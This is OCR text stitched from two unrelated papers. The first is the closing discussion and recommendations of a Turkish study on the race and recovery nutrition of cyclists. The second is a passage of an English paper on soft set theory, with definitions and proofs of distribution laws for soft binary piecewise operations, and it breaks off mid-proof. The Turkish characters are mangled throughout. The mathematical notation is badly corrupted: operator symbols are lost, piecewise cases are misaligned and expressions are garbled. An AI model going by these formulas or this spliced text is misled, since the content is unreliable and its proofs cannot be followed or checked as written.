sporcularin beslenme Onerileri almalar1 gerektigi diisiiniilmektedir. Yaris i¢i dogru strateji
uygulamanin ve beslenmenin tam tersine, egzersiz sirasinda yeterli enerjinin alinamamasi
performansin diismesine, kas kaybina, kemik yogunlugunda azalmaya, bagisiklik sisteminin
zayiflamasina neden olabilir (Rodriguez ve ark., 2009). Dolayisiyla bir saatten uzun siiren
dayaniklilik egzersizlerinde saatte 30-60 g ya da 2,5 saatten uzun siiren dayaniklilik
egzersizlerinde saatte 90 g karbonhidrat igecegi tiiketilmelidir (Jeukendrup ve ark., 2011).
Bisikletgilerin arastirmaya verdikleri yanitlara gore, yol bisiklet¢ileri yarig sirasinda her 15
km de bir, dag bisikletgileri ise her 15 dakikada bir 500 ml karbonhidratli sivinin yaninda
ayrica, su, muz, enerji jeli ve kuru meyve tiikettiklerini bildirmislerdir. Bu bakis acisiyla,
bisiklet¢ilerin literatiirde sunulan Onerilere uygun strateji uyguladiklart belirlenmistir. Ancak
ileride yapilacak calismalarda bisikletcilerin uyguladiklan stratejilerin miktar, siire ve besin
0gesi icerik oran1 bakimindan daha detayli incelenmesi gerekmektedir.

Yapilan calismalarin ¢ogu, egzersiz sirasinda karbonhidrat tiiketiminin performansa
olumlu yonde etki ettigini bildirse de protein tiiketiminin de dnemli oldugu, ¢alismalarla rapor

edilmistir. Protein alimi, uyku kalitesini gelistirmede, kan glikoz seviyesini sabit tutmada ve
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daha iyi glisemik cevap olusturmada avantaj saglamaktadir (Austin ve Seebohar, 2011;
Ormsbee ve ark., 2014). Konuyla ilgili olarak bir grup bisikletgide yapilan bir aragtirmada, 20
dakika siklikla tiiketilen, karbonhidrat igeren siviya eklenen proteinin (karbonhidrat: %7,75,
protein: %1,94/200 ml), sadece karbonhidrat (%7,75/200 ml) veya plasebo tiiketenlere gore
aerobik dayanikliliga olumlu etki ettigi; anlamli derecede uzamis yorulma siiresi ortaya
koydugu ve performansa olumlu katki sagladig: bildirilmistir (Ivy ve ark., 2003). Mevcut
aragtirmada, bisikletcilerin yaris i¢i beslenme tercihlerinin ¢ogunlukla su, muz, enerji jeli ve
kuru meyve oldugu; bisikletcilerin yaris i¢i beslenmede makro besin 0gesi olan proteini
almadiklar1 gozlemlenmistir. Bu konuda bisiklet¢ilerin yaris i¢i beslenme uygulamalar
konusunda daha bilingli olmalar1 ve bu konuda yardim almalar1 gerektigi diisiiniilmektedir.
Toparlanma agisindan, karbonhidrat tiiketim formlarindan biri olan oral yol aliminin,
egzersiz sirasinda 15-20 dakikada bir uygulanmasi, iki saat siiren uzamis egzersizlerden sonra
karbonhidratin damar yoluyla alinmasinin performans {izerine daha fazla katkis1 vardir. Bu
nedenle dayaniklilik sporlarinda, aktiviteye basladiktan sonra, diizenli aralikla oral yol ile
karbonhidrat alinmasi tavsiye edilmistir (Dawson, 2002). Ayni sekilde Amerika Spor
Hekimligi Koleji egzersiz sirasinda, saatte bir, 0,7 g/kg, %6-8 oraninda karbonhidrat iceren
stv1 tiiketilmesini 6nermektedir (Rodriguez ve ark., 2009). Bisiklet¢ilerin yaris igerisinde bu
Oneriye uygun davrandiklari belirlenmistir. Dolayisiyla bisiklet sporcularinin yarig sonrasi
toparlanma diizeylerinin iyi seviyede oldugu diistiniilmektedir. Karbonhidrat tiiketiminin, hem
egzersiz sirasinda hem de egzersizden hemen sonra, kas protein sentezini uyardigi, tiim viicut
protein sentezini de artirdigi bulunmus (Beelen ve ark., 2008), dolayisiyla bu beslenme
davranisinin toparlanma tizerine ciddi derecede olumlu etkisi oldugu sdylenebilir. Mevcut
arastirmada bisiklet¢ilerin hem egzersiz sirasinda hem de egzersizden hemen sonra (%81,3)
karbonhidrattan zengin atistirmalik tilikettikleri belirlenmistir. Buradan hareketle uluslararasi
diizeydeki Tiirk bisiklet sporcularinin yarigsa yonelik beslenme stratejilerinin toparlanmay1
hizlandirici1 yonde oldugu soOylenebilir. Bunun en biiyiik etkisinin sporcularin bir giinliik
yarismalarin yaninda birkag¢ giin siiren etapli yariglara katilmalar1 da olabilir. Diger yandan,
bisiklet¢ilerin %12,5’1 yaristan hemen sonra protein agirlikli atistirmaliklar tiikettigini
bildirmislerdir. Karbonhidrata ek olarak protein tiiketiminin toparlanmay1 hizlandirdigr goéz
Oniline alinirsa, bisiklet¢ilerin %95’inin beslenme yonteminin performansina katki sagladigi;
ancak hem sporcularin hem de antrendrlerin, besin 6gelerinin zamanlamasi, miktari, alim
stiresi ve tiketim formu konular ile ilgili kapsamli bir seminere ihtiya¢c duyduklar

diistiniilmektedir.
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Egzersiz bitiminden sonraki donemde kas ve karaciger depolarinin yenilenmesi ana
hedef olup, depolarin yenilenmesinde, enerji ihtiyacina gore karbonhidrat alim miktari, ¢esidi,
zamanlamasi énemli etkiye sahiptir. 1ki egzersiz arasi sekiz saatten az ise, birinci egzersizden
hemen sonra karbonhidrat alimi 6nerilmektedir (Burke ve ark., 2011). Egzersiz sonrasi,
anabolik evre siirecinde, 6zellikle 45 dk insiilin anabolik etkiye daha duyarli oldugundan, bu
slirecte beslenmenin dogru yapilmasi gerekir (Clark ve ark., 2003). Bu evrede, kas glikojen
depolarini yenilemek i¢in birincil olarak 6zellikle karbonhidratlar kullanilmaktadir (Kerksick
ve ark., 2018). Mevcut caligmada bisikletcilerin %84,4’linlin yliksek yogunluk iceren
yarismalardan hemen sonra, karbonhidrath atistirmalik tiikettigi, yarismadan sonraki 0giini
ortalama 48 dk icinde aldiklari, bu 6glinde karma beslendikleri ve ilk 24 saat iginde
bisiklet¢ilerin ¢ogunun karbonhidrat agirliklt beslendigi tespit edilmistir. Bu sonuglar
dogrultusunda, bisikletcilerin biiylik oranda dogru strateji uyguladigi; ancak bu oran disindaki
sporcularin veya antrendrlerin bilgilendirilmesi gerektigi agikca ortadadir. Nitekim, dogru
strateji uygulayan sporcularin da ne oranda bilingli olarak bu yontemleri uyguladiklarinin da
sorgulanmasi1 gerekmekte, bu dogrultuda sonuglar tiim bisiklet sporcularina yordanmalidir.

Egzersizden sonraki birka¢ saat icinde glikojen sentez hizi yariya diistiiglinden,
egzersizden hemen sonra 1,5 g/kg oraninda karbonhidrat alinmali, sonraki 2 saatte bir ara
ogiinlerle tekrarlanmalidir (Tarnopolsky ve ark., 2005). Glikojen sentez hizinin 5 mmol/kg/sa
oldugu, bu nedenle tam toparlanma igin, sporcularin en az 20 saate ihtiya¢ duydugu
sOylenebilir (Burke ve ark., 2004). Bu bakimdan egzersiz sonrasi ana Ogiin aliminin,
egzersizden hemen sonraki 5 saat i¢inde 15-30 dk araliklarla karbonhidrat tiiketimi seklinde
olmasi ile glikojen sentez hizinin artacagi diisiiniilmektedir. Bu nedenle ilk 2 saat icinde
yiiksek glisemik indeksli karbonhidrat tiiketiminin diisiik glisemiks indeksli karbonhidratlara
gore glikojen sentezine daha ¢ok katki sagladig: bildirilmistir (Burke ve ark., 1996; Kiens ve
Richter, 1996). Bisikletcilerin yaris sonrasinda tiikettikleri ortalama karbonhidrat miktarinin
2419 g oldugu, katilimcilarin ortalama viicut agirligmin 61,38 kg oldugu gbéz Oniine
alindiginda, ortalama 4 g/kg karbonhidrat tiikettikleri hesaplanmistir. Bu baglamda yaris
sonrasi tiiketilen karbonhidrat miktarinin olmasi gerekenden daha fazla oldugu; bu noktada,
fazla tiiketilen karbonhidratin, glikojen depolamaktan ziyade yag dokusuna doniiseceginden,
bu miktarin sporculara dezavantaj saglayacagi sdylenebilir. Dolayisiyla, bisiklet sporcularinin
yarig sonrasi ya da yiiksek yogunluklu antrenman sonrasinda tiiketmesi gereken karbonhidrat
miktar1 konusunda bilin¢lendirilmeleri gerekmektedir. Ayrica ara 6giin tiikketenlerin oraninin

%40 olmasinin az oldugu, bu noktada da sporcu ve antrendrlerin bilgilerinin artirilmasi
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gerektigi; clinkli giinliik 6glin sayisinin sik ve fazla olmasmin sportif performansa olumlu
etkisi oldugu diisiniilmektedir.

Ana veya ara Oglinde karbonhidratla birlikte protein alimi da glikojen depolarim
gelistirerek etkinligini artirmaktadir (Kreider ve ark., 2007; Burke ve ark., 2011). Dolayisiyla
dayaniklilik sporcularinda glikojen depolarinin dolmasi igin yalnizca karbonhidrat tiiketmek
yerine, protein destegi ile birlikte tiilketmenin daha etkin ve verimli oldugu sdylenebilir.
Mevcut arastirmada, yarisin hemen akabinde bisiklet¢ilerin %12,5’inin, yaris sonrasi 6giinde
ise %6,3’linlin protein agirlikli beslendigi, bu noktada ¢ok az sayida bisiklet¢inin yarig sonrasi
protein tiikettigi goriilmektedir. Bu baglamda yaris sonrasi karbonhidrat tiikketim stratejisini
bilen ve uygulayan bisikletci sayis1 ve oran1 daha fazla iken, protein tiikketim stratejisini bilen
ve uygulayan bisiklet¢i sayisinin olduk¢a az oldugu; bu konuda bisiklet sporcularinin ve
antrendrlerin  timiiniin  yaris sonrast optimum beslenme stratejileri konusunda

bilgilendirilmesi gerektigi diisiiniilmektedir.

Sonuc ve Oneriler

Sonug olarak, bisiklet sporcular1 ve antrenérlerin, beslenme davraniglar ile ilgili bilgi
ve aligkanliklariin genel olarak bireysel ve kulaktan duyma oldugu goriilmiistiir. Ulusal ve
uluslararasi diizeyde yarisan bisiklet¢iler ve antrendrler, spor ve beslenme ile ilgili konularda,
alaninda uzman kisi ve kurumlarla birlikte hareket etmeli, giincel gelismeleri takip edebilmek
icin siirekli ve diizenli bir sekilde egitim almalidirlar. Bu calismada elde edilen veriler,
gelecekte yapilacak olan calismalara destek olacaktir. Bilimsel caligmalarla desteklenen
sporcu beslenmesi ile ilgili bilgiler, bisiklet sporcular1 ve antrendrlerin uluslararasi diizeyde
gelisimi agisindan katki saglayacaktir. Bu bakimdan gelecekte yapilacak olan c¢alismalar,
katilimcr cinsiyeti, yasi, spor yapma diizeyi agisindan farkli gruplar tizerinde yapilarak, her
seviyedeki bisiklet sporcusu ve antrendre yol gosterebilir.

Bisiklet sporcularinin ana ve ara ogiinlerine dikkat etmeleri, 6glinde ¢ok fazla miktarda
besin almalarindan ziyade ara 6giin sayisini artirarak sik sik ve az miktarda besin almalari
onerilir.

Uzun siireli antrenman veya yarisma Oncesinde karma beslenme yontemi uygulanmali,
ozellikle karbonhidrat miktar1 1-4 g/kg, protein ise 0,15-0,25 g/kg olacak sekilde birlikte
alimmalidir.

Antrenman veya yarig siiresinin bir saatten uzun siirmesi durumunda, 30-60 g/saat
karbonhidrat saglayan, %6-8 oraninda karbonhidrat iceren sivi ile birlikte, %1-2 oraninda

protein iceren sivi tiiketilmelidir.
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Egzersiz sirasinda alinamayan besinlerin, egzersizden sonra damar yoluyla alinmasi da
hizli toparlanma agisindan katki saglayabilir.

Bisiklet sporcularina ve antrenorlere, besin 6gelerinin zamanlamasi, miktari, alim siiresi
ve tiiketim formu konular1 ile ilgili, kapsamli bir egitim verilmelidir. Dogru strateji uygulayan
sporcu ve antrendrlerin hangi oranda bilingli olarak beslenme yontemi uyguladiklarinin
sorgulanmas1 gerekmekte, bu dogrultuda sonuglar tiim bisiklet sporcularina ve antrenorlerine

yordanmalidir.

Arastirmacilarin Katki Orami Beyan Ozeti

Arastirma Dizayni- E. Kiirkcii Akgoniil, G. Ozen; Istatistik analiz- E. Kiirkcii Akgoniil,
G. Ozen; Makalenin hazirlanmasi, E. Kiirkcii Akgoniil, G. Ozen, O. C. Boyraz; Verilerin
Toplanmasi- E. Kiirkcii Akgéniil; Veri Analizi- E. Kiirkcii Akgoniil, G. Ozen; Kaynak
Taramasi- E. Kiirkcii Akgéniil, G. Ozen, O. C. Boyraz; Makale Yazimi- E. Kiirkcii Akgoniil,
G. Ozen, O. C. Boyraz tarafindan gergeklestirilmistir.

Cikar Catismasi1 Beyam

Bu makalenin yaymlanmasiyla ilgili yazarlar arasinda herhangi bir ¢ikar catigsmasi

bulunmamaktadir.
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yayinlanmistir (s: 486).
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piecewise star(x)and theta(6)operations. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 129-165.

1. Introduction

Molodtsov (1999) introduced Soft Set Theory as a mathematical tool to overcome
uncertainties. This theory has been applied to many fields by Ozlii (2022a, 2022b) and Paik and
Mondal (2022). As regards algebraic structures, it has been implemented by Atagiin and Aygiin
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(2016) and Addis et al. (2022). Riaz and Hashimi (2019) and Ayub et al. (2021) studied on
Linear Diophantine Fuzzy Sets, Riaz et al. (2023) on Linear Diophantine Fuzzy aggregation
operators, Riaz et al. (2021) on Spherical Linear Diophantine Fuzzy Sets, and they are all top
recent topics as novel mathematical approaches to model vagueness and uncertainty in
decision-making problems. Maji et al. (2003) and Pei and Miao (2005) were the first to study
on soft set operations. After then, Ali et al. (2009) introduced several soft set operations
(restricted and extended soft set operations) and Sezgin and Atagiin (2011) examined their basic
properites. Sezgin et al. (2019) introduced a new soft set operation called extended difference
of soft sets and Stojanovic (2021) defined extended symmetric difference of soft sets and
investigated its properties.

Cagman (2021) introduced two conditional complements of sets as (inclusive
complement and exclusive complement) and the relationships between them were explored.
After this study, Sezgin et al. (2023c) defined new complements. They also transferred these
complements to soft set theory, and Aybek (2023) introduced some new restricted soft set
operations and extended soft set operations. By changing the form of extended soft set
operations using the complement at the first and second row of the piecewise function of
extended soft set operations, Demirci (2024), Sarialioglu (2024) and Akbulut (2024) proposed
a new type of soft set operation and studied their basic properties. Also, Eren (2019) defined a
new type of soft difference operations and by being inspired this study, Yavuz (2024) and
Sezgin and Yavuz (2023a) defined some new soft set operations, which they call soft binary
piecewise operations and they studied their basic properties. Also, Sezgin and Demirci (2023),
Sezgin and Atagiin (2023), Sezgin and Yavuz (2023b), Sezgin and Aybek (2023), Sezgin et al.
(2023a, 2023Db), Sezgin and Dagtoros (2023) continued their work on soft set operations by
defining a new type of soft binary piecewise operation by changing the form of soft binary
piecewise operation using the complement at the first row of the soft binary piecewise
operations.

Sezgin and Demirci (2023) and Sezgin and Sarialioglu (2024) defined complementary
soft binary piecewise theta and complementary soft binary piecewise star operation,
respectively. The algebraic properties of these new operations were examined in detail.
Especially the distributions of these operations over extended soft set operations,
complementary extended soft set operations, soft binary piecewise operations, complementary
soft binary piecewise operations and restricted soft set operations were handled . In this study,

with Section 3, we aim to contribute to the literature of soft set theory by obtaining the
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distributions of soft binary piecewise operations over complementary soft binary piecewise

star and theta operations in order to acquire some algebraic structures.

2. Preliminaries

Definition 2.1. Let U be the universal set, E be the parameter set, P(U) be the power set
of Uand A € E. A pair (F,A)is called a soft set over U where F is a set-valued function such
that F: A - P(U). (Molodtsov, 1999)

The set of all the soft sets over U is designated by Sg(U), and throughout this paper, all the
soft sets are the elements of Sg(U).

Cagman (2021) defined two conditional complements of sets, for the ease of illustration,
we show these complements as + and 8, respectively. These complements are defined as
following: Let A and B be two subsets of U. B-inclusive complement of A is defined by,
A+B=A’UB and B-exclusive complement of A is defined by AGB=A’NB’. Here, U refersto a
universe, A’ is the complement of A over U. Sezgin et al. (2023c) introduced such new three
complements as binary operations of sets as following: Let A and B be two subsets of U. Then,
A*B=A’UB’, AyB=A’NB, AAB=AUB" Aybek (2024) conveyed these classical sets to soft
sets, and they defined restricted and extended soft set operations and examined their properties.

As a summary for soft set operations, we can categorize all types of soft set operations as
following: Let "V" be used to represent the set operations (i.e., here V can be N,U\, A, +,6, *,
A,y), then restricted operations, extended operations, complementary extended operations, soft
binary piecewise operations, complementary soft binary piecewise operations are defined in
soft set theory as following:

Definition 2.2. Let (D, K) and (], R) be soft sets over U. The restricted V operation of (D, K)
and (J, R) is the soft set (Y,S), denoted by, (D,K)Viz(J,R) = (Y,S), where S= KN R # @ and
Vs € S, Y(s) =D(s)V J(s). (Ali et. al., 2009; Sezgin and Atagiin, 2011; Aybek, 2024)

Definition 2.3. Let (D, K) and (J,R) be soft sets over U. The extended V operation of (D, K)
and (J, R) is the soft set (Y,S), denoted by, (D,K)V.(J,R) = (Y,S), where S= KU R and Vs €
S,

D(s), s € K\R,
Y(s) = J(s), s € R\K,
D(s) VJ(s), s€KnR.

(Maji et al., 2003; Ali et al., 2009; Sezgin et al., 2019; Stojanovic, 2021; Aybek, 2024)
Definition 2.4. Let (D, K) and (J, R) be soft sets over U. The complementary extended V
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operation of (D, K) and (J, R) is the soft set (Y,S), denoted by, (D, K) >XV< (J,R) = (Y,S), where
€

S=KuURandVsE€ES,

D'(s), s € K\R
Y(s) = J'(s), s € R\K,
D(s) V](s), s€KnNnR.

(Sarialioglu, 2024; Demirci, 2024; Akbulut, 2024)
Definition 2.5. Let (D,K) and (J,R) be soft sets over U. The soft binary piecewise V

operation of (D, K) and (J, R) is the soft set (Y, K), denoted by, (D, K); (J,R) = (Y, P), where

VseK,
D(s), seK\R
Y(s)=
D(s)VJ(s), seKNR
(Eren, 2019; Yavuz, 2024, Sezgin and Yavuz, 2023a)
Definition 2.6. Let (D, K)and (J, R)be soft sets over U. The complementary soft binary

%
piecewise V operation of (D, K) and (J, R) is the soft set (Y,K), denoted by, (D,K)~ (J,R) =
\Y%
(Y, K), where VseK;
D’(s), seK\R
Y(s)=

D(s)VJ(s), seKNR
(Sezgin and Demirci, 2023; Sezgin and Atagiin, 2023; Sezgin and Aybek, 2023; Sezgin et al.,
2023a; Sezgin et al., 2023b; Sezgin and Yavuz, 2023b; Sezgin and Dagtoros, 2023; Sezgin and
Cagman, 2024; Sezgin and Sarialioglu, 2024)

Definition 2.7. Let (A, F) and (B, G) be soft sets over U. The complementary soft binary

*
piecewise star operation of (A, F) and (B, G) is the soft set (C,F), denoted by, (A, F)~ (B,G) =
*

(C,F), where VteF,

A’(S), seF\G
C(s)=

A’(S)UB’(s  seFNG
(Sezgin and Demirci, 2023)
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Definition 2.8. Let (A, F) and (B, G) be soft sets over U. The complementary soft binary

%
piecewise theta operation of (A, F) and (B, G) is the soft set (C,F), denoted by, (A,F)~ (B,G) =
0
(C,F), where VteF,
A’(S), seF\G
C(s)=
A’(S)NB’(S), seFNG

(Sezgin and Sarialioglu, 2024)

3. Distribution of Soft Binary Piecewise Operations Over Complementary Soft

Binary Piecewise Star and Theta Operations

3.1.1. Distribution of soft binary piecewise operations over complementary soft

binary piecewise star operation:

*
1) (AF) , [(B.G) ~(CH)=[(AF) 4 (B.G)TI(CH) 4 (AF)], where FNG’NH=9.
*

%
Proof: Let (B,G) ~ (C,H)=(M,G), where VseG;
%

B’(s), seG\H
M(s)=
B’(s)uC’(s), seGNH
Let (AF) , (M,G)=(N,F), where VseF;
A(s), seF\G
N(s)=
A’(S)UM(s), seFNG
Thus,
A(s), seF\G
N(s)= _ A’(s)UB’(s), seFN(G\H)=FNGNH’
A’(S)U [(B’(S)UC’(s)], seFN(GNH)=FNGNH
Now let’s handle [(AF) 4 (B.G)] U [(CH) 4 (AP)]. Let (AF) 4 (B,G)=(V,F), where
VvseF;
A(s), seF\G
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V(s)=
A’(S)UB’(s), seFNG

Suppose that (C,H) ; (A, F)=(W,H), where VseH;

C(s), seH\F
W(s)=
C’(s)UA’(s), seHNF
Let (V,F) U( W,H)=(T,F) VseF;
V(s), seF\H
T(s)=
V(S)UW(s), seFNH

Thus,

CA®), se(F\G)\H=FNG’NH’
A’(S)UB’(S), se(FNG)\H=FNGNH’
A(S)UC(s), se(F\G)N(H\F)=¢

T(s)= | A(S)U[C’(S)UA’(S)], se(F\G)N(HNF)=FNG’NH
[A’(s)UB’(s)]JUC(s), se(FNG)N(H\F)=¢
[A’(s)UB’(S)]JU[C’(S)UA’(S)], se(FNG)N(HNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or
seFNG’NH. Thus, it is seen that (N,F)=(T,F).

* k
2) [(AF) ~ (B,G)IF(CH)=[(AF) ~ (C,H)IA[(B,G)T(C,H)], where FNGNH’=.
% V)
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
&

A’(S), seF\G
M(s)=
A’(s)UB’(s), seFNG
Let (M,F)¥(C,H)=(N,F), where VseF;
M(s), seF\H
N(s)=
M’(s)uC(s), seFNH
Thus,
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[ A(S), se(F\G)\H=FNG’NH’
N(s)= | A’(S)UB’(s), se(FNG)\H=FNGNH’
1 A(S)UC(s), se(F\G)NH=FNG’NH

[A(S)NB(S)JUC(S), se(FNG)NH=FNGNH

Now let’s handle [(A,F) f (C,H)]A[(B,G)T(C,H). Let (A,F) f (C,H)=(V,F), where
V) V)
VseF;
A(S), seF\H
V(S)‘+
A(S)UC(s),  seFNH
Suppose that (B,G)U(C,H)=(W,G), where VseG;
B(s), seG\H
W(S)‘{
B(s)UC(s), seGNH
Let (V,F)N (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)= {
V(s)NW(s), seFNH

Thus,

CA(S), se(F\H)\G=FNG’NH’
A(S)UC(s), se(FNH)\G=FNG’NH
A’(5)NB(s), se(F\H)N(G\H)=FNGNH’

T(s)= | A’(s)N[B(S)UC(S)], se(F\H)N(GNH)=0
[A(S)UC(5)]NB(S), se(FNH)N(G\H)=¢
[A(S)UC(S)]N[B(S)UC(S)],  se(FNH)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).
*
3) (AF)YI(B.G) ~ (CH)I=[(A.F) 4(B.G)IT(C.H) 4(AF)], where FNG’NH=9.
*
*
Proof: Let (B,G) ~ (C,H)=(M,G), where VseG,;
*
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B(s), seG\H
M(s)= {

B’ (s)UC’(s), seGNH

Let (A,F);(M,G):(N,F), where VseF:

" A), seF\G
N(s)= -
A’(S)NM(s), seFNG
Thus,
CA(9), seF\G
N(s)= —A’(s)NB’(s), seFN(G\H)=FNGNH’
A’(S)N[(B’(S)UC’(s)], seFN(GNH)=FNGNH

Now let’s handle [(A,F) 5 (B,G)IT[(C.H) o(AF)]. Let (AF) y (B.G)=(V,F), where

VseF;

A(s), seF\G
V(s)= {
A’(s)NB’(s), seFNG

Suppose that (C,H) o (AF)=(W,H), where ¥seH;

C(s), seH\F
W(s)= {

C’(s)NA’(s), seHNF
Let (V,F)U(W,H)=(T,F), where VseF;

V(s), seF\H
T(s)=
V(s)UW(s), seFNH

Thus,
AG), se(F\G)\H=FNG’NH’
A’(S)NB’(s), se(FNG)\H=FNGNH’
| AEUCE), se(F\G)N(H\F)=¢
TE)= | AG)U[C (S)NA’E)], se(F\G)N(HNF)=FNG’NH
[A’(s)NB’()]UC(s), se(FNG)N(H\F)=¢
[A(5)NB*(S)]U [C'(S)NA’(S)],  se(FNG)N(HNF)=FNGNH
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Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or
seFNG’NH. Thus, it is seen that (N,F)=(T,F).

4) [(AF) f (B,G)]¥(C,H)=[(AF) f (C,H)N[(B,G) f (C,H)], where FNGNH’=@.
%
. N N
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
%
A(S), seF\G
M(s)=
A’(S)UB’(s), seFNG
Let (M,F)8(C,H)=(N,F), where VseF;
M(s), seF\H
N(s)=
M’(s)NC(s), seFNH
Thus,
CA(s), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
1 A(S)NC(s) se(F\G)NH=FNG’NH
[A(s)NB(s)]NC(s) se(FNG)NH=FNGNH
- % % %
Now let’s handle [(A,F) ~ (C,H)]N[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where
N N N
VseF;
A’(S), seF\H
V(s)=
A(s)NC(s), seFNH
Suppose that (B,G) f (C,H)=(W,G), where VseG,;
N
B’(s), seG\H
W(s)=
B(s)NC(s), seGNH
Let (V,F)N (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)=

V(s)NW(s), seFNH
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Thus,

[ A(s), se(FH)\G=FNG’NH’
A(s)NC(s), se(FNH)\G=FNG’NH
A’S)NB’(s), se(F\H)N(G\H)=FNGNH’

T(s)= | A’(S)N[BE)NCE)], se(F\H)N(GNH)=p
[A(S)NC(S)]NB (S), se(FNH)N(G\H)=p
[AG)NCE)IN[BE)NCE)  se(FNH)NGNH)=FNGNH

It is seen that (N,F)=(T,F).

-~ *
5) (AF)\ [(B,G) ~ (CH)I=I(AP)A(B,G)IFI(C,HA(AF)], where FNG’ NH=g.
%k

%
Proof: Let (B,G) ~ (C,H)=(M,G), where VseG,;
%

B’(s), seG\H
M(s)=
B’(s)uC’(s), seGNH
Let (A,F)\(M,G)=(N,F), where VseF;

A(S), seF\G
N(s)=
A(S)NM’(s), seFNG
Thus,
A(S), seF\G
N(s)= _J A(s)NB(s), seFN(G\H)=FNGNH’

AGS)N[(BES)NC(S)], seFN(GNH)=FNGNH
Now let’s handle [(A,F)3(B,G)]A[(C,H)7 (A F)]. Let (AF) (B.G)=(V.F), where VseF;

A(s), seF\G
V(s)= {
A(s)NB(s), seFNG
Suppose that (C,H)A (A,F)=(W,H), where VseH;
C(s), seH\F
W(s)=

C(s)NA(s), seHNF
Let (V,F)A(W,H)=(T,F), where VseF;
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V(s), seF\H
T(s)=
V(S)NW(s),  seFNH

Thus,

T A(), se(F\G)\H=FNG’NH’
A(5)NB(S), se(FNG)\H=FNGNH’
A(5)NC(s), se(F\G)N(H\F)=0

T(s)= | AG)N[CE)NAEG)], se(F\G)N(HNF)=FNG’NH
[A(5)NB(S)|NC(S), se(FNG)N(H\F)=¢
[AGNBEINICENAE)],  se(FNG)NHNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or
seFNG’NH. Thus, it is seen that (N,F)=(T,F).

* * *
6) [(AF) ~ (B,G)I\(C,H)=[(AF) ~ (CH)ITI(B,G) ~ (CH)].
* 0 0
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
*
A’(s), seF\G

M(s)=
A’(S)UB’(s), seFNG
Let (M,F)\(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)=
M(s)NC’(s), seFNH
Thus,
CA(), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
1A (S)NC’(s), se(F\G)NH=FNG’NH
[A’(S)UB’(S)]NC’(s), se(FNG)NH=FNGNH
- * * *
Now let’s handle [(A,F) ~ (C,H)]T[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where
0 0 0

VseF;
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V(s)=

A’(S), seF\H

A(SNC’(S),  seFNH
*

Suppose that (B,G) ~ (C,H)=(W,G), where VseG,;

W(s)=

0
B’(s), seG\H

B'S)NC’(s),  seGNH

Let (V,F)T(W,H)=(T,F), where V seF;

V(s), seF\H
T(s)=
V(s)UW(s), seFNH

Thus,

T(s)= |

A'(s), se(F\H)\G=FNG’NH’
A’()NC(9), se(FNH)\G=FNG'NH
A’(S)UB’(s), se(F\H)N(G\H)=FNGNH’
A’(SU[B’(S)NC©)], se(F\H)N(GNH)=0
[A’(s) NC’(s)]UB’(S), se(FNH)N(G\H)=0

[A’(S)NC’(5)]U [B’(S)NC’(s)], se(FNH)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).

*

7) (APA(B,G) ~ (C,H)I=[(AF) T (B,G)IAI(C,H) T (AF)].

*
*

Proof: Let (B,G) ~ (C,H)=(M,G), where VseG;

*

B’(s), seG\H
M(s)= «{

B’(s)uC’(s), seGNH

Let (A,F)X(M,G)=(N,F), where VseF;

N(s)=

Hence,

A(s), seF\G

A(S)UM’(s), seFNG
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T A®), seF\G
N(s)= - A(s)UB(s), seFN(G\H)=FNGNH’
A(S)U[(B(S)NC(s)], seFN(GNH)=FNGNH
Now let’s handle [(AF) U (B,G)]A[(C,H) G(AF)]. Let (AF) U (B,G)=(V,F), where

vseF;
JAs), seF\G
V(s)=
~A(S)UB(S), seFNG
Suppose that (C,H)U (A,F)=(W,H), where VseH;
C(s), seH\F
W(s)=
C(s)UA(s), seHNF
Let (V,F)N(W,H)=(T,F) VseF;
V(s), seF\H
T(s)=
V(s)NW(s), seFNH
Hence
T AQS), se(F\G)\H=FNG’NH’
A(s)UB(s), se(FNG)\H=FNGNH’
A(S)NC(s), se(F\G)N(H\F)=0
T(s):< A(S)N[C(s)UA(s)], se(F\G)N(HNF)=FNG’NH
[A(s)UB(s)]NC(s), se(FNG)N(H\F)=0
| [A(S)UB(S)IN[C(S)UA(s)], se(FNG)N(HNF)=FNGNH
" AQS), se(F\G)\H=FNG’NH’
A(S)UB(s), se(FNG)\H=FNGNH’
A(S)NC(s), se(F\G)N(H\F)=¢
Te)=| AG), se(F\G)N(HNF)=FNG’NH
[A(s)UB(s)]NC(s), se(FNG)N(H\F)=¢
' [AG)UB(S)INICS)VAE)], se(FNG)N(HNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or
seFNG’NH.
Thus, it is seen that (N,F)=(T,F).
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* * *
8) [(AF) ~ (B,G)IA(C,H)=[(AF) ~ (C,H)IT[(B,G) ~ (C,H)].

* % %
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
*
A’(S), seF\G
M(s)=
A’(S)UB’(s), seFNG

Let (M,F)A(C,H)=(N,F), where VseF:

M(s), seF\H
N(s)=

M(s)uC’(s), seFNH

Thus,
T A(S), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
1 A uC(s) se(F\G)NH=FNG’NH
[A’(s)UB’(s)]UC’(s) se(FNG)NH=FNGNH
% % %
Now let’s handle [(A,F) ~ (C,H)]U[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where
% * %
VseF;
A(S), seF\H
V(s)=
A’(S)UC’(s), seFNH
%
Suppose that (B,G) ~ (C,H)=(W,G), where VseG
%
B’(s), seG\H
W(S)=+
B’(s)uC’(s), seGNH

Let (V,F)U(W,H)=(T,F), where VseF;

V(s), seF\H
T(s)= {

V(S)UW(s), seFNH
Thus,
